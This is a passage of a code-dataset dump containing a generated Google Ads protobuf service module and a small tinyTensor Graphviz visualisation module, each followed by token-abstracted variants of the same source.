input_type=_GETUSERINTERESTREQUEST, output_type=google_dot_ads_dot_googleads__v1_dot_proto_dot_resources_dot_user__interest__pb2._USERINTEREST, serialized_options=_b('\202\323\344\223\0021\022//v1/{resource_name=customers/*/userInterests/*}'), ), ]) _sym_db.RegisterServiceDescriptor(_USERINTERESTSERVICE) DESCRIPTOR.services_by_name['UserInterestService'] = _USERINTERESTSERVICE # @@protoc_insertion_point(module_scope)
[ "# -*- coding: utf-8 -*-\n# Generated by the protocol buffer compiler. DO NOT EDIT!\n# source: google/ads/googleads_v1/proto/services/user_interest_service.proto\n\nimport sys\n_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))\nfrom google.protobuf import descriptor as _descriptor\nfrom google.protobuf import message as _message\nfrom google.protobuf import reflection as _reflection\nfrom google.protobuf import symbol_database as _symbol_database\n# @@protoc_insertion_point(imports)\n\n_sym_db = _symbol_database.Default()\n\n\nfrom google.ads.google_ads.v1.proto.resources import user_interest_pb2 as google_dot_ads_dot_googleads__v1_dot_proto_dot_resources_dot_user__interest__pb2\nfrom google.api import annotations_pb2 as google_dot_api_dot_annotations__pb2\n\n\nDESCRIPTOR = _descriptor.FileDescriptor(\n name='google/ads/googleads_v1/proto/services/user_interest_service.proto',\n package='google.ads.googleads.v1.services',\n syntax='proto3',\n serialized_options=_b('\\n$com.google.ads.googleads.v1.servicesB\\030UserInterestServiceProtoP\\001ZHgoogle.golang.org/genproto/googleapis/ads/googleads/v1/services;services\\242\\002\\003GAA\\252\\002 Google.Ads.GoogleAds.V1.Services\\312\\002 Google\\\\Ads\\\\GoogleAds\\\\V1\\\\Services\\352\\002$Google::Ads::GoogleAds::V1::Services'),\n serialized_pb=_b('\\nBgoogle/ads/googleads_v1/proto/services/user_interest_service.proto\\x12 google.ads.googleads.v1.services\\x1a;google/ads/googleads_v1/proto/resources/user_interest.proto\\x1a\\x1cgoogle/api/annotations.proto\\\"/\\n\\x16GetUserInterestRequest\\x12\\x15\\n\\rresource_name\\x18\\x01 \\x01(\\t2\\xcd\\x01\\n\\x13UserInterestService\\x12\\xb5\\x01\\n\\x0fGetUserInterest\\x12\\x38.google.ads.googleads.v1.services.GetUserInterestRequest\\x1a/.google.ads.googleads.v1.resources.UserInterest\\\"7\\x82\\xd3\\xe4\\x93\\x02\\x31\\x12//v1/{resource_name=customers/*/userInterests/*}B\\xff\\x01\\n$com.google.ads.googleads.v1.servicesB\\x18UserInterestServiceProtoP\\x01ZHgoogle.golang.org/genproto/googleapis/ads/googleads/v1/services;services\\xa2\\x02\\x03GAA\\xaa\\x02 Google.Ads.GoogleAds.V1.Services\\xca\\x02 Google\\\\Ads\\\\GoogleAds\\\\V1\\\\Services\\xea\\x02$Google::Ads::GoogleAds::V1::Servicesb\\x06proto3')\n ,\n dependencies=[google_dot_ads_dot_googleads__v1_dot_proto_dot_resources_dot_user__interest__pb2.DESCRIPTOR,google_dot_api_dot_annotations__pb2.DESCRIPTOR,])\n\n\n\n\n_GETUSERINTERESTREQUEST = _descriptor.Descriptor(\n name='GetUserInterestRequest',\n full_name='google.ads.googleads.v1.services.GetUserInterestRequest',\n filename=None,\n file=DESCRIPTOR,\n containing_type=None,\n fields=[\n _descriptor.FieldDescriptor(\n name='resource_name', full_name='google.ads.googleads.v1.services.GetUserInterestRequest.resource_name', index=0,\n number=1, type=9, cpp_type=9, label=1,\n has_default_value=False, default_value=_b(\"\").decode('utf-8'),\n message_type=None, enum_type=None, containing_type=None,\n is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR),\n ],\n extensions=[\n ],\n nested_types=[],\n enum_types=[\n ],\n serialized_options=None,\n is_extendable=False,\n syntax='proto3',\n extension_ranges=[],\n oneofs=[\n ],\n serialized_start=195,\n serialized_end=242,\n)\n\nDESCRIPTOR.message_types_by_name['GetUserInterestRequest'] = _GETUSERINTERESTREQUEST\n_sym_db.RegisterFileDescriptor(DESCRIPTOR)\n\nGetUserInterestRequest = _reflection.GeneratedProtocolMessageType('GetUserInterestRequest', (_message.Message,), dict(\n DESCRIPTOR = _GETUSERINTERESTREQUEST,\n __module__ = 'google.ads.googleads_v1.proto.services.user_interest_service_pb2'\n ,\n __doc__ = \"\"\"Request message for\n [UserInterestService.GetUserInterest][google.ads.googleads.v1.services.UserInterestService.GetUserInterest].\n \n \n Attributes:\n resource_name:\n Resource name of the UserInterest to fetch.\n \"\"\",\n # @@protoc_insertion_point(class_scope:google.ads.googleads.v1.services.GetUserInterestRequest)\n ))\n_sym_db.RegisterMessage(GetUserInterestRequest)\n\n\nDESCRIPTOR._options = None\n\n_USERINTERESTSERVICE = _descriptor.ServiceDescriptor(\n name='UserInterestService',\n full_name='google.ads.googleads.v1.services.UserInterestService',\n file=DESCRIPTOR,\n index=0,\n serialized_options=None,\n serialized_start=245,\n serialized_end=450,\n methods=[\n _descriptor.MethodDescriptor(\n name='GetUserInterest',\n full_name='google.ads.googleads.v1.services.UserInterestService.GetUserInterest',\n index=0,\n containing_service=None,\n input_type=_GETUSERINTERESTREQUEST,\n output_type=google_dot_ads_dot_googleads__v1_dot_proto_dot_resources_dot_user__interest__pb2._USERINTEREST,\n serialized_options=_b('\\202\\323\\344\\223\\0021\\022//v1/{resource_name=customers/*/userInterests/*}'),\n ),\n])\n_sym_db.RegisterServiceDescriptor(_USERINTERESTSERVICE)\n\nDESCRIPTOR.services_by_name['UserInterestService'] = _USERINTERESTSERVICE\n\n# @@protoc_insertion_point(module_scope)\n", "import sys\n_b = sys.version_info[0] < 3 and (lambda x: x) or (lambda x: x.encode('latin1')\n )\nfrom google.protobuf import descriptor as _descriptor\nfrom google.protobuf import message as _message\nfrom google.protobuf import reflection as _reflection\nfrom google.protobuf import symbol_database as _symbol_database\n_sym_db = _symbol_database.Default()\nfrom google.ads.google_ads.v1.proto.resources import user_interest_pb2 as google_dot_ads_dot_googleads__v1_dot_proto_dot_resources_dot_user__interest__pb2\nfrom google.api import annotations_pb2 as google_dot_api_dot_annotations__pb2\nDESCRIPTOR = _descriptor.FileDescriptor(name=\n 'google/ads/googleads_v1/proto/services/user_interest_service.proto',\n package='google.ads.googleads.v1.services', syntax='proto3',\n serialized_options=_b(\n \"\"\"\n$com.google.ads.googleads.v1.servicesB\u0018UserInterestServiceProtoP\u0001ZHgoogle.golang.org/genproto/googleapis/ads/googleads/v1/services;services¢\u0002\u0003GAAª\u0002 Google.Ads.GoogleAds.V1.ServicesÊ\u0002 Google\\\\Ads\\\\GoogleAds\\\\V1\\\\Servicesê\u0002$Google::Ads::GoogleAds::V1::Services\"\"\"\n ), serialized_pb=_b(\n '\\nBgoogle/ads/googleads_v1/proto/services/user_interest_service.proto\\x12 google.ads.googleads.v1.services\\x1a;google/ads/googleads_v1/proto/resources/user_interest.proto\\x1a\\x1cgoogle/api/annotations.proto\"/\\n\\x16GetUserInterestRequest\\x12\\x15\\n\\rresource_name\\x18\\x01 \\x01(\\t2Í\\x01\\n\\x13UserInterestService\\x12µ\\x01\\n\\x0fGetUserInterest\\x128.google.ads.googleads.v1.services.GetUserInterestRequest\\x1a/.google.ads.googleads.v1.resources.UserInterest\"7\\x82Óä\\x93\\x021\\x12//v1/{resource_name=customers/*/userInterests/*}Bÿ\\x01\\n$com.google.ads.googleads.v1.servicesB\\x18UserInterestServiceProtoP\\x01ZHgoogle.golang.org/genproto/googleapis/ads/googleads/v1/services;services¢\\x02\\x03GAAª\\x02 Google.Ads.GoogleAds.V1.ServicesÊ\\x02 Google\\\\Ads\\\\GoogleAds\\\\V1\\\\Servicesê\\x02$Google::Ads::GoogleAds::V1::Servicesb\\x06proto3'\n ), dependencies=[\n google_dot_ads_dot_googleads__v1_dot_proto_dot_resources_dot_user__interest__pb2\n .DESCRIPTOR, google_dot_api_dot_annotations__pb2.DESCRIPTOR])\n_GETUSERINTERESTREQUEST = _descriptor.Descriptor(name=\n 'GetUserInterestRequest', full_name=\n 'google.ads.googleads.v1.services.GetUserInterestRequest', filename=\n None, file=DESCRIPTOR, containing_type=None, fields=[_descriptor.\n FieldDescriptor(name='resource_name', full_name=\n 'google.ads.googleads.v1.services.GetUserInterestRequest.resource_name',\n index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False,\n default_value=_b('').decode('utf-8'), message_type=None, enum_type=None,\n containing_type=None, is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR)], extensions=[], nested_types\n =[], enum_types=[], serialized_options=None, is_extendable=False,\n syntax='proto3', extension_ranges=[], oneofs=[], serialized_start=195,\n serialized_end=242)\nDESCRIPTOR.message_types_by_name['GetUserInterestRequest'\n ] = _GETUSERINTERESTREQUEST\n_sym_db.RegisterFileDescriptor(DESCRIPTOR)\nGetUserInterestRequest = _reflection.GeneratedProtocolMessageType(\n 'GetUserInterestRequest', (_message.Message,), dict(DESCRIPTOR=\n _GETUSERINTERESTREQUEST, __module__=\n 'google.ads.googleads_v1.proto.services.user_interest_service_pb2',\n __doc__=\n \"\"\"Request message for\n [UserInterestService.GetUserInterest][google.ads.googleads.v1.services.UserInterestService.GetUserInterest].\n \n \n Attributes:\n resource_name:\n Resource name of the UserInterest to fetch.\n \"\"\"\n ))\n_sym_db.RegisterMessage(GetUserInterestRequest)\nDESCRIPTOR._options = None\n_USERINTERESTSERVICE = _descriptor.ServiceDescriptor(name=\n 'UserInterestService', full_name=\n 'google.ads.googleads.v1.services.UserInterestService', file=DESCRIPTOR,\n index=0, serialized_options=None, serialized_start=245, serialized_end=\n 450, methods=[_descriptor.MethodDescriptor(name='GetUserInterest',\n full_name=\n 'google.ads.googleads.v1.services.UserInterestService.GetUserInterest',\n index=0, containing_service=None, input_type=_GETUSERINTERESTREQUEST,\n output_type=\n google_dot_ads_dot_googleads__v1_dot_proto_dot_resources_dot_user__interest__pb2\n ._USERINTEREST, serialized_options=_b(\n '\\x82Óä\\x93\\x021\\x12//v1/{resource_name=customers/*/userInterests/*}'))])\n_sym_db.RegisterServiceDescriptor(_USERINTERESTSERVICE)\nDESCRIPTOR.services_by_name['UserInterestService'] = _USERINTERESTSERVICE\n", "<import token>\n_b = sys.version_info[0] < 3 and (lambda x: x) or (lambda x: x.encode('latin1')\n )\n<import token>\n_sym_db = _symbol_database.Default()\n<import token>\nDESCRIPTOR = _descriptor.FileDescriptor(name=\n 'google/ads/googleads_v1/proto/services/user_interest_service.proto',\n package='google.ads.googleads.v1.services', syntax='proto3',\n serialized_options=_b(\n \"\"\"\n$com.google.ads.googleads.v1.servicesB\u0018UserInterestServiceProtoP\u0001ZHgoogle.golang.org/genproto/googleapis/ads/googleads/v1/services;services¢\u0002\u0003GAAª\u0002 Google.Ads.GoogleAds.V1.ServicesÊ\u0002 Google\\\\Ads\\\\GoogleAds\\\\V1\\\\Servicesê\u0002$Google::Ads::GoogleAds::V1::Services\"\"\"\n ), serialized_pb=_b(\n '\\nBgoogle/ads/googleads_v1/proto/services/user_interest_service.proto\\x12 google.ads.googleads.v1.services\\x1a;google/ads/googleads_v1/proto/resources/user_interest.proto\\x1a\\x1cgoogle/api/annotations.proto\"/\\n\\x16GetUserInterestRequest\\x12\\x15\\n\\rresource_name\\x18\\x01 \\x01(\\t2Í\\x01\\n\\x13UserInterestService\\x12µ\\x01\\n\\x0fGetUserInterest\\x128.google.ads.googleads.v1.services.GetUserInterestRequest\\x1a/.google.ads.googleads.v1.resources.UserInterest\"7\\x82Óä\\x93\\x021\\x12//v1/{resource_name=customers/*/userInterests/*}Bÿ\\x01\\n$com.google.ads.googleads.v1.servicesB\\x18UserInterestServiceProtoP\\x01ZHgoogle.golang.org/genproto/googleapis/ads/googleads/v1/services;services¢\\x02\\x03GAAª\\x02 Google.Ads.GoogleAds.V1.ServicesÊ\\x02 Google\\\\Ads\\\\GoogleAds\\\\V1\\\\Servicesê\\x02$Google::Ads::GoogleAds::V1::Servicesb\\x06proto3'\n ), dependencies=[\n google_dot_ads_dot_googleads__v1_dot_proto_dot_resources_dot_user__interest__pb2\n .DESCRIPTOR, google_dot_api_dot_annotations__pb2.DESCRIPTOR])\n_GETUSERINTERESTREQUEST = _descriptor.Descriptor(name=\n 'GetUserInterestRequest', full_name=\n 'google.ads.googleads.v1.services.GetUserInterestRequest', filename=\n None, file=DESCRIPTOR, containing_type=None, fields=[_descriptor.\n FieldDescriptor(name='resource_name', full_name=\n 'google.ads.googleads.v1.services.GetUserInterestRequest.resource_name',\n index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False,\n default_value=_b('').decode('utf-8'), message_type=None, enum_type=None,\n containing_type=None, is_extension=False, extension_scope=None,\n serialized_options=None, file=DESCRIPTOR)], extensions=[], nested_types\n =[], enum_types=[], serialized_options=None, is_extendable=False,\n syntax='proto3', extension_ranges=[], oneofs=[], serialized_start=195,\n serialized_end=242)\nDESCRIPTOR.message_types_by_name['GetUserInterestRequest'\n ] = _GETUSERINTERESTREQUEST\n_sym_db.RegisterFileDescriptor(DESCRIPTOR)\nGetUserInterestRequest = _reflection.GeneratedProtocolMessageType(\n 'GetUserInterestRequest', (_message.Message,), dict(DESCRIPTOR=\n _GETUSERINTERESTREQUEST, __module__=\n 'google.ads.googleads_v1.proto.services.user_interest_service_pb2',\n __doc__=\n \"\"\"Request message for\n [UserInterestService.GetUserInterest][google.ads.googleads.v1.services.UserInterestService.GetUserInterest].\n \n \n Attributes:\n resource_name:\n Resource name of the UserInterest to fetch.\n \"\"\"\n ))\n_sym_db.RegisterMessage(GetUserInterestRequest)\nDESCRIPTOR._options = None\n_USERINTERESTSERVICE = _descriptor.ServiceDescriptor(name=\n 'UserInterestService', full_name=\n 'google.ads.googleads.v1.services.UserInterestService', file=DESCRIPTOR,\n index=0, serialized_options=None, serialized_start=245, serialized_end=\n 450, methods=[_descriptor.MethodDescriptor(name='GetUserInterest',\n full_name=\n 'google.ads.googleads.v1.services.UserInterestService.GetUserInterest',\n index=0, containing_service=None, input_type=_GETUSERINTERESTREQUEST,\n output_type=\n google_dot_ads_dot_googleads__v1_dot_proto_dot_resources_dot_user__interest__pb2\n ._USERINTEREST, serialized_options=_b(\n '\\x82Óä\\x93\\x021\\x12//v1/{resource_name=customers/*/userInterests/*}'))])\n_sym_db.RegisterServiceDescriptor(_USERINTERESTSERVICE)\nDESCRIPTOR.services_by_name['UserInterestService'] = _USERINTERESTSERVICE\n", "<import token>\n<assignment token>\n<import token>\n<assignment token>\n<import token>\n<assignment token>\n_sym_db.RegisterFileDescriptor(DESCRIPTOR)\n<assignment token>\n_sym_db.RegisterMessage(GetUserInterestRequest)\n<assignment token>\n_sym_db.RegisterServiceDescriptor(_USERINTERESTSERVICE)\n<assignment token>\n", "<import token>\n<assignment token>\n<import token>\n<assignment token>\n<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n" ]
false
474
7bd2a29bff1e435cf813dd54109d7f4e17612425
#from tinyTensor.Node import Node import tinyTensor import plotly.plotly as py from graphviz import render #from tinyTensor.Operation import Operation def init(): global _default_graph _default_graph = None def postOrder(node): nodes_postorder = [] def recurse(node): if isinstance(node, tinyTensor.Node.Node): for input_node in node.inputNodes: recurse(input_node) nodes_postorder.append(node) recurse(node) return nodes_postorder class Graph(): def __init__(self): self.nodes = [] self.placeholderNames = [] def appendNode(self,node): if(node.name in self.placeholderNames and node.isPlaceholder): raise Exception("Placeholder name \"{}\" is already in use in current graph".format(node.name)) elif(node.isPlaceholder): self.placeholderNames.append(node.name) self.nodes.append(node) def set_default(self): init() global _default_graph _default_graph = self def visualize_nodes(self, node): # generating the .gv file gv_file = "graph \"\" \n{\n" global nodeCounter nodeCounter = 0 def recurse(nodes,gv_file,parent_node_str = None): global nodeCounter nodes_list = [] if(isinstance(nodes,list)): nodes_list.extend(nodes) else: nodes_list.append(nodes) for node in nodes_list: # node should add itself to the list current_node_str = "n" + str(nodeCounter) nodeCounter += 1 ''' operation might contain non-node constants, hence need to make sure that they are converted to node''' if(type(node) in (int,float)): node = tinyTensor.Node.Node.variable(node) # creating a variable node '''creating the node labels''' if(isinstance(node,tinyTensor.Operation.Operation)): gv_file += current_node_str + " [label=\"{} ({})\"] ;\n".format(node.operator,node.value) elif(node.isPlaceholder): gv_file += current_node_str + " [label=\"{}({})\"] ;\n".format(node.name,node.value) else: gv_file += current_node_str + " [label=\"{}({})\"] ;\n".format(node.name,node.value) # now creating connection line to parent(s) TODO: make it possible to have many parents, (nodes should have output nodes list) if(parent_node_str != None): gv_file += parent_node_str + " -- " + current_node_str + "; \n" # applying the same to the children of this node if(len(node.inputNodes) > 0): gv_file = recurse(node.inputNodes,gv_file,current_node_str) return gv_file gv_file = recurse(node,gv_file) gv_file += "}\n" with open("network.gv","w+") as file: file.writelines(gv_file) #render('dot','png','network.gv') print(gv_file) def visualize_layers(self,layer_list): neuron_dict = {} #generating dict of neurons gv_file = "graph \"\" \n{\n" #dealing with input nodes for node in layer_list[0].inputList: neuron_dict[node] = node.name gv_file += neuron_dict[node] + " [label=\"{}({})\"] ;\n".format(node.name,node.value) # creating dict for neurons for layer in layer_list: for neuron in layer.neuronList: neuron_dict[neuron] = "{}".format(neuron.name) gv_file += neuron_dict[neuron] + " [label=\"{}({})\"] ;\n".format(neuron.name,neuron.value) # drawing links between neurons for layer in layer_list: for neuron in layer.neuronList: for input_neuron in neuron.inputNeurons: gv_file += neuron_dict[neuron] + " -- " + neuron_dict[input_neuron] + "; \n" gv_file += "}\n" with open("network.gv","w+") as file: file.writelines(gv_file) print(gv_file)
[ "#from tinyTensor.Node import Node\r\nimport tinyTensor\r\nimport plotly.plotly as py\r\nfrom graphviz import render\r\n#from tinyTensor.Operation import Operation\r\n\r\n\r\ndef init():\r\n global _default_graph\r\n _default_graph = None\r\n\r\ndef postOrder(node):\r\n nodes_postorder = []\r\n def recurse(node):\r\n if isinstance(node, tinyTensor.Node.Node):\r\n for input_node in node.inputNodes:\r\n recurse(input_node)\r\n nodes_postorder.append(node)\r\n recurse(node)\r\n return nodes_postorder\r\n\r\nclass Graph():\r\n\r\n def __init__(self):\r\n self.nodes = []\r\n self.placeholderNames = []\r\n\r\n def appendNode(self,node):\r\n if(node.name in self.placeholderNames and node.isPlaceholder):\r\n raise Exception(\"Placeholder name \\\"{}\\\" is already in use in current graph\".format(node.name))\r\n elif(node.isPlaceholder):\r\n self.placeholderNames.append(node.name)\r\n self.nodes.append(node)\r\n\r\n def set_default(self):\r\n init()\r\n global _default_graph\r\n _default_graph = self\r\n\r\n def visualize_nodes(self, node):\r\n # generating the .gv file\r\n gv_file = \"graph \\\"\\\" \\n{\\n\"\r\n global nodeCounter\r\n nodeCounter = 0\r\n def recurse(nodes,gv_file,parent_node_str = None):\r\n global nodeCounter\r\n nodes_list = []\r\n if(isinstance(nodes,list)):\r\n nodes_list.extend(nodes)\r\n else:\r\n nodes_list.append(nodes)\r\n for node in nodes_list:\r\n # node should add itself to the list\r\n current_node_str = \"n\" + str(nodeCounter)\r\n nodeCounter += 1\r\n ''' operation might contain non-node constants, hence need to make sure that they are converted to node'''\r\n if(type(node) in (int,float)):\r\n node = tinyTensor.Node.Node.variable(node) # creating a variable node\r\n '''creating the node labels'''\r\n if(isinstance(node,tinyTensor.Operation.Operation)):\r\n gv_file += current_node_str + \" [label=\\\"{} ({})\\\"] ;\\n\".format(node.operator,node.value)\r\n elif(node.isPlaceholder):\r\n gv_file += current_node_str + \" [label=\\\"{}({})\\\"] ;\\n\".format(node.name,node.value)\r\n else:\r\n gv_file += current_node_str + \" [label=\\\"{}({})\\\"] ;\\n\".format(node.name,node.value)\r\n # now creating connection line to parent(s) TODO: make it possible to have many parents, (nodes should have output nodes list)\r\n if(parent_node_str != None):\r\n gv_file += parent_node_str + \" -- \" + current_node_str + \"; \\n\"\r\n # applying the same to the children of this node\r\n if(len(node.inputNodes) > 0):\r\n gv_file = recurse(node.inputNodes,gv_file,current_node_str)\r\n return gv_file\r\n gv_file = recurse(node,gv_file)\r\n gv_file += \"}\\n\"\r\n with open(\"network.gv\",\"w+\") as file:\r\n file.writelines(gv_file)\r\n #render('dot','png','network.gv')\r\n print(gv_file)\r\n\r\n def visualize_layers(self,layer_list):\r\n neuron_dict = {}\r\n #generating dict of neurons\r\n gv_file = \"graph \\\"\\\" \\n{\\n\"\r\n #dealing with input nodes\r\n for node in layer_list[0].inputList:\r\n neuron_dict[node] = node.name\r\n gv_file += neuron_dict[node] + \" [label=\\\"{}({})\\\"] ;\\n\".format(node.name,node.value)\r\n # creating dict for neurons\r\n for layer in layer_list:\r\n for neuron in layer.neuronList:\r\n neuron_dict[neuron] = \"{}\".format(neuron.name)\r\n gv_file += neuron_dict[neuron] + \" [label=\\\"{}({})\\\"] ;\\n\".format(neuron.name,neuron.value)\r\n # drawing links between neurons\r\n for layer in layer_list:\r\n for neuron in layer.neuronList:\r\n for input_neuron in neuron.inputNeurons:\r\n gv_file += neuron_dict[neuron] + \" -- \" + neuron_dict[input_neuron] + \"; \\n\"\r\n gv_file += \"}\\n\"\r\n with open(\"network.gv\",\"w+\") as file:\r\n file.writelines(gv_file)\r\n print(gv_file)\r\n\r\n\r\n\r\n\r\n", "import tinyTensor\nimport plotly.plotly as py\nfrom graphviz import render\n\n\ndef init():\n global _default_graph\n _default_graph = None\n\n\ndef postOrder(node):\n nodes_postorder = []\n\n def recurse(node):\n if isinstance(node, tinyTensor.Node.Node):\n for input_node in node.inputNodes:\n recurse(input_node)\n nodes_postorder.append(node)\n recurse(node)\n return nodes_postorder\n\n\nclass Graph:\n\n def __init__(self):\n self.nodes = []\n self.placeholderNames = []\n\n def appendNode(self, node):\n if node.name in self.placeholderNames and node.isPlaceholder:\n raise Exception(\n 'Placeholder name \"{}\" is already in use in current graph'.\n format(node.name))\n elif node.isPlaceholder:\n self.placeholderNames.append(node.name)\n self.nodes.append(node)\n\n def set_default(self):\n init()\n global _default_graph\n _default_graph = self\n\n def visualize_nodes(self, node):\n gv_file = 'graph \"\" \\n{\\n'\n global nodeCounter\n nodeCounter = 0\n\n def recurse(nodes, gv_file, parent_node_str=None):\n global nodeCounter\n nodes_list = []\n if isinstance(nodes, list):\n nodes_list.extend(nodes)\n else:\n nodes_list.append(nodes)\n for node in nodes_list:\n current_node_str = 'n' + str(nodeCounter)\n nodeCounter += 1\n \"\"\" operation might contain non-node constants, hence need to make sure that they are converted to node\"\"\"\n if type(node) in (int, float):\n node = tinyTensor.Node.Node.variable(node)\n \"\"\"creating the node labels\"\"\"\n if isinstance(node, tinyTensor.Operation.Operation):\n gv_file += (current_node_str + ' [label=\"{} ({})\"] ;\\n'\n .format(node.operator, node.value))\n elif node.isPlaceholder:\n gv_file += (current_node_str + ' [label=\"{}({})\"] ;\\n'.\n format(node.name, node.value))\n else:\n gv_file += (current_node_str + ' [label=\"{}({})\"] ;\\n'.\n format(node.name, node.value))\n if parent_node_str != None:\n gv_file += (parent_node_str + ' -- ' + current_node_str +\n '; \\n')\n if len(node.inputNodes) > 0:\n gv_file = recurse(node.inputNodes, gv_file,\n current_node_str)\n return gv_file\n gv_file = recurse(node, gv_file)\n gv_file += '}\\n'\n with open('network.gv', 'w+') as file:\n file.writelines(gv_file)\n print(gv_file)\n\n def visualize_layers(self, layer_list):\n neuron_dict = {}\n gv_file = 'graph \"\" \\n{\\n'\n for node in layer_list[0].inputList:\n neuron_dict[node] = node.name\n gv_file += neuron_dict[node] + ' [label=\"{}({})\"] ;\\n'.format(node\n .name, node.value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n neuron_dict[neuron] = '{}'.format(neuron.name)\n gv_file += neuron_dict[neuron\n ] + ' [label=\"{}({})\"] ;\\n'.format(neuron.name, neuron.\n value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n for input_neuron in neuron.inputNeurons:\n gv_file += neuron_dict[neuron] + ' -- ' + neuron_dict[\n input_neuron] + '; \\n'\n gv_file += '}\\n'\n with open('network.gv', 'w+') as file:\n file.writelines(gv_file)\n print(gv_file)\n", "<import token>\n\n\ndef init():\n global _default_graph\n _default_graph = None\n\n\ndef postOrder(node):\n nodes_postorder = []\n\n def recurse(node):\n if isinstance(node, tinyTensor.Node.Node):\n for input_node in node.inputNodes:\n recurse(input_node)\n nodes_postorder.append(node)\n recurse(node)\n return nodes_postorder\n\n\nclass Graph:\n\n def __init__(self):\n self.nodes = []\n self.placeholderNames = []\n\n def appendNode(self, node):\n if node.name in self.placeholderNames and node.isPlaceholder:\n raise Exception(\n 'Placeholder name \"{}\" is already in use in current graph'.\n format(node.name))\n elif node.isPlaceholder:\n self.placeholderNames.append(node.name)\n self.nodes.append(node)\n\n def set_default(self):\n init()\n global _default_graph\n _default_graph = self\n\n def visualize_nodes(self, node):\n gv_file = 'graph \"\" \\n{\\n'\n global nodeCounter\n nodeCounter = 0\n\n def recurse(nodes, gv_file, parent_node_str=None):\n global nodeCounter\n nodes_list = []\n if isinstance(nodes, list):\n nodes_list.extend(nodes)\n else:\n nodes_list.append(nodes)\n for node in nodes_list:\n current_node_str = 'n' + str(nodeCounter)\n nodeCounter += 1\n \"\"\" operation might contain non-node constants, hence need to make sure that they are converted to node\"\"\"\n if type(node) in (int, float):\n node = tinyTensor.Node.Node.variable(node)\n \"\"\"creating the node labels\"\"\"\n if isinstance(node, tinyTensor.Operation.Operation):\n gv_file += (current_node_str + ' [label=\"{} ({})\"] ;\\n'\n .format(node.operator, node.value))\n elif node.isPlaceholder:\n gv_file += (current_node_str + ' [label=\"{}({})\"] ;\\n'.\n format(node.name, node.value))\n else:\n gv_file += (current_node_str + ' [label=\"{}({})\"] ;\\n'.\n format(node.name, node.value))\n if parent_node_str != None:\n gv_file += (parent_node_str + ' -- ' + current_node_str +\n '; \\n')\n if len(node.inputNodes) > 0:\n gv_file = recurse(node.inputNodes, gv_file,\n current_node_str)\n return gv_file\n gv_file = recurse(node, gv_file)\n gv_file += '}\\n'\n with open('network.gv', 'w+') as file:\n file.writelines(gv_file)\n print(gv_file)\n\n def visualize_layers(self, layer_list):\n neuron_dict = {}\n gv_file = 'graph \"\" \\n{\\n'\n for node in layer_list[0].inputList:\n neuron_dict[node] = node.name\n gv_file += neuron_dict[node] + ' [label=\"{}({})\"] ;\\n'.format(node\n .name, node.value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n neuron_dict[neuron] = '{}'.format(neuron.name)\n gv_file += neuron_dict[neuron\n ] + ' [label=\"{}({})\"] ;\\n'.format(neuron.name, neuron.\n value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n for input_neuron in neuron.inputNeurons:\n gv_file += neuron_dict[neuron] + ' -- ' + neuron_dict[\n input_neuron] + '; \\n'\n gv_file += '}\\n'\n with open('network.gv', 'w+') as file:\n file.writelines(gv_file)\n print(gv_file)\n", "<import token>\n<function token>\n\n\ndef postOrder(node):\n nodes_postorder = []\n\n def recurse(node):\n if isinstance(node, tinyTensor.Node.Node):\n for input_node in node.inputNodes:\n recurse(input_node)\n nodes_postorder.append(node)\n recurse(node)\n return nodes_postorder\n\n\nclass Graph:\n\n def __init__(self):\n self.nodes = []\n self.placeholderNames = []\n\n def appendNode(self, node):\n if node.name in self.placeholderNames and node.isPlaceholder:\n raise Exception(\n 'Placeholder name \"{}\" is already in use in current graph'.\n format(node.name))\n elif node.isPlaceholder:\n self.placeholderNames.append(node.name)\n self.nodes.append(node)\n\n def set_default(self):\n init()\n global _default_graph\n _default_graph = self\n\n def visualize_nodes(self, node):\n gv_file = 'graph \"\" \\n{\\n'\n global nodeCounter\n nodeCounter = 0\n\n def recurse(nodes, gv_file, parent_node_str=None):\n global nodeCounter\n nodes_list = []\n if isinstance(nodes, list):\n nodes_list.extend(nodes)\n else:\n nodes_list.append(nodes)\n for node in nodes_list:\n current_node_str = 'n' + str(nodeCounter)\n nodeCounter += 1\n \"\"\" operation might contain non-node constants, hence need to make sure that they are converted to node\"\"\"\n if type(node) in (int, float):\n node = tinyTensor.Node.Node.variable(node)\n \"\"\"creating the node labels\"\"\"\n if isinstance(node, tinyTensor.Operation.Operation):\n gv_file += (current_node_str + ' [label=\"{} ({})\"] ;\\n'\n .format(node.operator, node.value))\n elif node.isPlaceholder:\n gv_file += (current_node_str + ' [label=\"{}({})\"] ;\\n'.\n format(node.name, node.value))\n else:\n gv_file += (current_node_str + ' [label=\"{}({})\"] ;\\n'.\n format(node.name, node.value))\n if parent_node_str != None:\n gv_file += (parent_node_str + ' -- ' + current_node_str +\n '; \\n')\n if len(node.inputNodes) > 0:\n gv_file = recurse(node.inputNodes, gv_file,\n current_node_str)\n return gv_file\n gv_file = recurse(node, gv_file)\n gv_file += '}\\n'\n with open('network.gv', 'w+') as file:\n file.writelines(gv_file)\n print(gv_file)\n\n def visualize_layers(self, layer_list):\n neuron_dict = {}\n gv_file = 'graph \"\" \\n{\\n'\n for node in layer_list[0].inputList:\n neuron_dict[node] = node.name\n gv_file += neuron_dict[node] + ' [label=\"{}({})\"] ;\\n'.format(node\n .name, node.value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n neuron_dict[neuron] = '{}'.format(neuron.name)\n gv_file += neuron_dict[neuron\n ] + ' [label=\"{}({})\"] ;\\n'.format(neuron.name, neuron.\n value)\n for layer in layer_list:\n for neuron in layer.neuronList:\n for input_neuron in neuron.inputNeurons:\n gv_file += neuron_dict[neuron] + ' -- ' + neuron_dict[\n input_neuron] + '; \\n'\n gv_file += '}\\n'\n with open('network.gv', 'w+') as file:\n file.writelines(gv_file)\n print(gv_file)\n", "<import token>\n<function token>\n<function token>\n\n\nclass Graph:\n\n def __init__(self):\n self.nodes = []\n self.placeholderNames = []\n\n def appendNode(self, node):\n if node.name in self.placeholderNames and node.isPlaceholder:\n raise Exception(\n 'Placeholder name \"{}\" is already in use in current graph'.\n 